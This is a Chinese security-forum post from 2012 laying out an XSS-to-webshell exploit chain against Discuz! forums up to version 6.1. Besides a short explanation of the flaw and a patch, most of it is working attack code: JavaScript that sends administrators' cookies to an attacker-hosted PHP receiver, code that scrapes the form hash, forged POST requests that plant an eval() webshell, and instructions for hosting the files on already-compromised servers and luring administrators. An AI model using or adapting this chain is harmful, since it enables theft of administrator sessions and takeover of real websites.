找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3548|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Discuz XSS得webshell3 `1 p! n! p) \9 o; m
By racle @tian6.com: P/ q$ s- Z2 R2 B7 R- X% C1 J
欢迎转帖.但请保留版权信息.
3 K/ m; ?7 ?5 W5 B1 [/ t受影响版本iscuz<=6.1.0,gbk+utf+big59 @7 j% ~# v5 m& h

5 I1 c, j3 C, K6 b新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
0 B: n# \' s% d% e" v' v7 B3 `' K* P; N; c

5 \- G+ S* a  n; A9 d2 t3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
! d+ o: Z6 N& r, t% |- V当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.# R; o, M4 w! c$ V2 ^  A, {

8 }! f  b7 C; V分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..  H+ i* b6 P% b& L  G
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS' ?2 g/ n" I: M0 z9 g0 K% ]
7 C5 K! Q+ p/ K9 [
1 ~$ `: |. Y- \3 i
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
( l0 x( E- i! a6 f
1 y3 `% E" N8 t1 M9 x3 u# t: ?/ I& z
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.1 y" B2 V3 u+ B
2 U; v. S# N- D  Q* \+ C
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
+ L2 V5 G$ Q: d' ~. H: X) x% v
1 P! M: _1 p/ a, {& r5 Yproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的./ i: e; ~* v# ~# v& W7 y
( _$ b/ H2 S( Z* U  |

- {" ]- Q: R" `7 k! u2 Y下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {8 N, [$ v1 |# ?+ G

* V5 L6 o6 K# P# Z# a        global $runwizardfile, $runwizardhistory;
, d" v9 |, ~* a/ |: m& V1 C- ~% Q- L1 d: `+ {
        $fp = fopen($runwizardfile, 'w');
7 v  ]6 u$ j# Z/ L" Q* k1 W
2 B, S& l* [7 ~        fwrite($fp, serialize($runwizardhistory));2 B( B& o/ P. @. S
' d9 F  f8 O. M3 V
        fclose($fp);
& P, E7 `( y0 a4 j
+ g0 F% i9 H$ h0 W}; K, r' q: o/ A
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.7 D5 q5 d7 V  ]  `0 b  A$ x
以下是修补的办法:function saverunwizardhistory() {" W% P0 e) B7 R$ x9 D! e1 ^0 k+ K
: _' Q+ m% g: c% e7 t
        global $runwizardfile, $runwizardhistory;; d2 x6 f& A/ Z; }

9 j: ?$ a' G" ~/ g        $fp = fopen($runwizardfile, 'w');% R1 s1 H  u: y* c
9 s. F  e: ?+ F' N1 B
        $s = '<?php exit;?>';
. @1 E4 ^7 w/ ~, Z1 v: c+ d. x5 N. V) {, z
        $s .= serialize($runwizardhistory);
2 Q9 u/ G8 j5 Z+ s
& G% Z  `8 X4 W# x$ o& ~. s0 |: [9 D        fwrite($fp, $s);
2 s2 t) o: @4 P6 d7 x1 L  J- p' n2 V3 O' \, U
        fclose($fp);
9 }2 [# l) p( C+ m; t& s% J* `% i8 x5 K. w4 x
}  `4 q6 D4 i0 B; M8 D
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.8 ?; {' w3 L! S9 v
, [3 {  G  v; y; I. J2 I* @

5 ^3 b. H1 r1 f  S$ N
/ Q( N! o: i. q8 T9 @----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------0 j5 a0 g  G7 d( a, \& R; X
( i; u1 f& V  ?# |, s$ g) f
4 q; S% g1 h* X' {- ^) ]) V
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
$ }* Q5 g& [" X' M" n1 g4 C. K- A" B7 ?8 V& z! i
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.5 c! l7 J1 p9 C% _2 s& I
4 r+ g8 K% X6 G+ K* ~; d( J* ~# L
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
5 @2 P5 |# U  _" e; \3 l
; ]2 Z1 @: i$ }2 B1 z( u7 D6 J: ?首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:8 u5 h  `4 @: L- H8 q* F; O! \/ s1 O1 c
- R2 w8 G8 @. L+ L: @, k* t
var url="http://目标网站/admincp.php";      0 F% x  @% R4 [2 W1 z- t% D
$ Z  h$ r& M9 M: U: E
/*获得cookies*/9 @9 H- `1 X( J3 P( G" y
' W" X: k  b2 j: t* P& h
function getURL(s) {. `! H* M" S! R  h

, K! b; P  D0 L' q  k3 Zvar image = new Image();# u+ g8 U% E  C2 R; c
7 D8 U3 T8 q! K8 V- ]
image.style.width = 0;2 s8 G9 s/ b$ i' N! D, M) _% _: J

8 f- I" F+ x( |1 Q7 Vimage.style.height = 0;
  L6 |" D& k. ^6 \1 Q! t0 Q4 ^" e* N$ x# r4 y
image.src = s;- O& Y" {7 W$ h  J

. o/ F+ W7 @1 J0 c* M}
* [3 `3 ?, W) e( ^& |
& G; y/ X8 ~3 GgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
8 C3 C& O' O$ _( n复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
# i; X) D9 I) ^! q$ {! r  B复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
+ x6 b& S: a6 A* N1 J& \, ?) B; m1 V; _3 c1 O

7 D8 |7 Q' G/ J+ K* w" d获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
3 Z. L$ K. R! @' J/ N) c6 I! ]5 `/ o6 |* n" ^+ I

) y0 e. f0 _4 k* r) a
- s; _! p/ |7 `2 x2 A/*hash*/
' D) F; p" E& D: {( T& p( q" B
& i! n2 Y9 p6 e# mvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
9 `' T5 m& c+ o1 y% J3 f
9 B# p% }' x9 o" E4 ^xmlHttpReq.open("GET", url+"admincp.php?action=home", false);7 X6 M1 Y( F5 {1 y
; H/ n7 h& y& N9 Y+ r
xmlHttpReq.send();' v7 \: U# g  P" |' g2 j4 w- d

' r) c: B% k. ?: [7 ]+ ^  l7 X- j8 m* Rvar resource = xmlHttpReq.responseText;
; v3 |% G, G9 S9 T1 v/ S3 `/ K3 m" X9 }; j8 T9 [' X: ?8 f
var numero = resource.search(/formhash/);
6 j2 `9 J# |1 l  g4 B/ V  X! u- L# \
var formhash=encodeURIComponent(resource.substr(numero+17,8));; g- Q5 _# R5 b% \! F
2 Z0 N; o; M7 b/ D
% Q0 {# u' U2 n3 o1 U
$ n0 c) Q4 k. v
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
8 N$ D' d; C; x1 H! _
5 O0 }/ C* o8 F/ YxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
( C8 g, p% s! G) ~" T) l" D4 A1 Z1 E/ n' r. a% G# j
xmlHttpReq.setRequestHeader("Referer", url);: m2 ]% f) y2 ]  {5 G- N- B& _
, h& y3 L* O/ m: T! i2 |  Q
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
4 L$ b# p6 x" @2 u$ M! k2 {! D0 r- R+ t
xmlHttpReq.setrequestheader("content-length",post.length);
; q# ?9 y- z( ]3 A: h* P& E  U0 R5 e. c3 s+ Q3 j0 G5 l2 i
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 6 A- E) N8 Z* K6 x0 G

# d9 Y% C% g+ X- h% FxmlHttpReq.send(post);//发送数据
" i; P, a' N- k/ S7 u3 R( ^; l; L; z复制代码这里HASH我假设正确,这样提交,也无须cookies' H, c/ {# Q' [0 D9 [

7 g# u" E( a. N1 r: q再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);: ]7 C3 b% K6 E
. |6 X: @0 S& A* f7 y5 D0 X0 w7 X% J
if (!$sock) die("$errstr ($errno)\n");. b, j- C8 z, w5 Y; @! T7 l1 J

5 p3 E# C2 F6 S1 I9 E  V$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';$ g" f8 |2 c0 ~' r1 }

& Q" z) G. m( u) F: k- C  O! S' g+ ?' q! L* p5 o) i! W2 E: T

, Y. M, W6 @* I! B( E0 lfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
$ C' X! h& J* y+ k5 D* f& t3 |
: A# D* k# t5 m/ Yfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");5 P- N% J6 U# A! c

( g; `, ]" r4 T+ L; c& q* Xfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");  e6 o- n$ ?1 n# p2 Q4 {6 O; \) ^

% B/ Z0 `, {, m8 q" Ufwrite($sock, "Accept-Language: zh-cn\r\n");
" Q% {/ ~# Z1 p. I1 l6 u8 P, \0 _  N' I! r+ S
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
7 x" \* Y2 q4 u& V0 o. c, S
/ W+ x6 D$ i( z; Z- Qfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
% H3 K6 i- ~. S1 t
. C2 m" ~! P: }; W' r" {" @5 Rfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
5 G2 h2 c9 j4 Y3 X6 H. P$ @$ r/ Y
6 O( u/ J  G9 @" O* v! |2 s! y# X6 vfwrite($sock, "Host: $url\r\n");
# z( f: B9 B4 X3 J! L' _# y
1 D- d/ r9 v6 z% x6 hfwrite($sock, "Content-Length: ".strlen($data)."\r\n");* G5 z! J4 `) `( u( O* x: r
9 ^2 N% f( }6 J% o2 w
fwrite($sock, "Connection: Keep-Alive\r\n");" G  T9 x5 F7 m! i0 ]2 K

. {# s$ M0 V: i& Nfwrite($sock, "Cache-Control: no-cache\r\n");
8 l$ D' I! o9 d* J1 ?; E
3 {5 c8 \' s; b1 m' m% J4 y/ Efwrite($sock, "Cookie:".$cookies."\r\n\r\n");
9 |0 i4 P% h1 F9 c
: q0 U% j: m5 A% t! Q, e0 Rfwrite($sock, $data);  f, Z! L& ^# x
' r; [4 ~0 {$ E' E0 [3 Y
9 ], C, S; l1 ~6 t5 V+ d

$ M) F1 o: A- l5 A$headers = "";4 T. H* R: _7 z& l; `
( r9 C2 g9 O6 D" J$ P6 F4 u6 U. x
while ($str = trim(fgets($sock, 4096)))
8 F2 E/ M3 [9 y; Z3 }. W. F2 k, |
% K4 H9 U: D! {- i3 K, Y     $headers .= "$str\n";
9 x1 p! g8 V9 ~! u5 i4 m3 c* \/ G
+ B! u* I! \$ s2 \4 \0 z9 G8 mecho "\n";9 z( ]7 a9 M' U, b; i* P# @7 U5 M
. @2 ~9 I$ ?* F5 b& |9 o5 f
$body = "";$ y% Y# N& w0 C. b* q- h
! Y5 g# U; u7 |% D! b
while (!feof($sock))  |% L* c8 s3 ]* z  V* f

3 i; V- V. a! f" ?( a: C8 N     $body .= fgets($sock, 4096);$ H. p& w; E) I/ A

; U- j2 P- I7 k, G: gfclose($sock);
! J! Y1 ~" S  G* T5 f: Q* F. X- t3 ?! y, p. P" b7 L- y
echo $body;4 q7 F# m, f; f9 a
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
" W  q, s- Z8 {% I% C: {9 T& \2 t7 T: ?1 J

* t$ }* B2 Q9 b1 [" }-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------2 a1 t! H1 g& C7 d5 @3 v

' B7 D  ?' j7 ?
: q) f6 l3 u* Q1HP SOCKET利用方法首先打开racle.js
8 h9 g6 d$ Q3 b
% U( f' O( ^# Y" S7 u: Nvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
2 u/ W7 k; C6 V6 v% q, f8 Z2 H4 \+ A9 C* ~$ \2 c0 ^
2 H) L( _3 |) g5 y9 e3 g) B

, \: |% F% f' l7 X! @' J4 S然后打开racle@tian6.php+ B9 ]0 e9 t5 @6 a0 w" ?

" `' X+ z, e/ k: W. e, [1 Z# Z$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
! q7 E  t/ ~6 n. ^# p1 [2 H& X. X  L; l, ^- l
) O* k7 P0 v0 t5 Z  ~
( x- G6 c' U6 P. N' r
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:& p; o1 K* H# {: ^1 n7 E3 S

9 v& O  U- }4 D5 o, n. d. ogetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));6 ^/ f. e, @: L, l) ^

) X7 I9 P. ^+ T( [2 p2 W- r" \' B$ N
- ]+ ?3 Q" S8 g" G
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
/ p* Y& \9 n( C) _" q, H复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.7 d9 G  {: d$ o/ V7 E. S6 }
- _5 P, X/ |, q) P9 t9 k

4 V" m' s# o' B5 ?" I% e
5 e% P- @  `0 s如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:9 C4 u% X9 a: [/ K" z8 _2 q/ G
: p  A( T8 a4 S2 r0 H3 h- M
var formhash=encodeURIComponent(resource.substr(numero+17,8));
- ~  n2 s; A6 l
: g. U, _: I4 K* ^) r) ^' i% h$ Z. V& v' ^* O" f1 B
+ p; b- x' N2 X" Z
var formhash=encodeURIComponent(resource.substr(numero+9,8));: O) v* C+ H% B
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
$ w2 y6 _. J) ~  m: W) y1 r6 @7 [, p) i! |) l
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
9 |5 k1 F7 D) {( A6 _; ?& t; H# @5 i+ E9 R& S+ @: r% t4 j2 x1 d
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.1 ~' w2 y) p5 x
: b; {; I4 a- r! r  E6 v" w( W
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.2 a: C$ S, P% v+ H8 R

4 v$ n0 k, {& n) r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表